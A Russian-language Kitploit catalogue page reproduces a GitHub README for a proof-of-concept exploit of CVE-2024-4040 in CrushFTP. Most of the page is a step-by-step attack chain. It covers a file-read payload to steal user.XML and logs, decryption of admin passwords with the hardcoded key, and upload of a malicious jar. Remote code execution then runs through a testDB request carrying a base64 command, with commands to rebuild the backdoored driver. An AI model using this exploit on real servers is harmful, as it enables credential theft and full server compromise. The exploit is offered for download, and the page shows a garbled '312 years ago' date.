Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
Инструменты/GitHubGitHub/entroychang/cve-2024-4040
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

Репозиторий
312 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-4040

Предисловие

  • Недавно я наткнулся на эту уязвимость и счёл её довольно интересной. Прочитал следующие статьи и написал небольшой эксплоит.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Целевая машина

  • Использовал чужой docker. Подробности смотрите в GitHub автора.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <том>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

Процесс атаки

Получение пароля

  • Используйте exploit.py и decrypt.java для получения и расшифровки пароля. Ключ жёстко прописан, поэтому его можно расшифровать, а также можно читать произвольные файлы.
  • Обратите внимание: если стандартный администратор crushadmin не существует, можно попытаться получить CrushFTP.log, где содержится информация об учётных записях.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            показать это сообщение и выйти
  -u URL, --url URL     Целевой URL
  -H HEADERS, --headers HEADERS
                        Заголовки
  --account ACCOUNT     Целевая учётная запись
  --shell
  --jar-path JAR_PATH   Путь к jar-файлу
  • Логика: сначала проверяется уязвимость цели с использованием четырёх стандартных учётных записей, предпринимается попытка получить файл user.XML.
  • Если уязвимость подтверждена, извлекается указанная пользователем учётная запись; если не указана, по умолчанию используется стандартная админская учётная запись crushadmin.
  • После получения пароля с помощью decrypt.java он расшифровывается.
  • Функция --shell предназначена для удобного просмотра результата после RCE. После загрузки jar-файла укажите --jar-path и --headers, чтобы увидеть результат выполнения команды:
    • Обратите внимание: в --headers обязательно должен быть Cookie после входа, например --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • По умолчанию --jar-path равен /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Если файл находится в другом месте, обязательно укажите путь. Теоретически подойдёт и относительный путь, но рекомендуется абсолютный.

Вход и настройка отображения и прав доступа

  • После входа перейдите в админку.
  • Найдите User Manager, затем кликните на пользователя слева. Перетащите папку, которую хотите сопоставить, в раздел "User's Stuff". В конце настройте права доступа – обязательно отметьте "upload".

Загрузка вредоносного jar-файла

  • Загрузите вредоносный jar-файл. Я подготовил две версии: одну для JDK 16, другую для JDK 13 – в зависимости от версии Java на сервере.
  • Вернитесь в раздел files, нажмите upload и загрузите вредоносный jar-файл.

RCE

  • Причина RCE в том, что существует функция testDB, позволяющая указать jar-файл и объект драйвера. В сочетании с возможностью загрузки это позволяет выполнить произвольный код.
root@kitploit:~
command=testDB&db_driver_file=<путь_к_вредоносному_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_команда>&db_pass=&c2f=<currentAuth>
    • Команда на изображении – id.
    • Передайте команду, закодированную в base64, в параметр db_user для её выполнения.
  • Я лично модифицировал mysql-connector версии 5.0.4.
  • Если обе скомпилированные версии не работают, я предоставляю свою модифицированную версию. Её можно перекомпилировать следующими командами:
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
Скачать инструмент
  • Для выхода введите exit.
  • Пример команды: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"